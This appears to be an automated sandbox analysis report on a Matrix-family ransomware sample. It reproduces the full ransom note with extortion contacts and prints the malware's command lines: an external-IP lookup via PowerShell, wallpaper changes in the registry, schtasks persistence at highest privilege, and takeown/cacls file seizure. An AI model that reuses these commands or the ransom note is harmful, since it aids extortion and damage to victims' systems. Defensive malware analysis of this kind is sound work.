Analysis
- max time kernel
184s - max time network
132s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
- submitted
13/02/2024, 05:15
General
- Target FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
- Size 1.2MB
- Sample240213-fxzrcaff73
- SHA256 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://myexternalip.com/raw
Extracted
Path
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\#FOX_README#.rtf
Ransom Note
- {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 58E16F8109642D40\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 58E16F8109642D40\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 GKw5egDo\cf0\f1\fs32\lang1049\par \par }
Emails
-
[email protected]\cf1\fs24\par
URLs
-
https://bitmsg.me
-
https://bitmsg.me/users/sign_up
-
https://bitmsg.me/users/sign_in
Signatures
- Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
- Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Blocklisted process makes network request 1 IoCs
- Drops file in Drivers directory 1 IoCs
- Sets service image path in registry 2 TTPs 1 IoCs
- Executes dropped EXE 59 IoCs
- Loads dropped DLL 60 IoCs
- Modifies file permissions 1 TTPs 29 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops desktop.ini file(s) 40 IoCs
- Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 11 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgTwPHO.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgTwPHO.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgTwPHO.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\VsXhzO5K.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\VjQ8qyxz.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\VjQ8qyxz.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\zCoOFkW6.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\zCoOFkW6.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oGCkLmPD.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oGCkLmPD.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\uSDT8H9y64.exeuSDT8H9y.exe -accepteula "SignHere.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "FreeCellMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "FreeCellMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "HeartsMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "HeartsMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "eula.ini" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "eula.ini" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
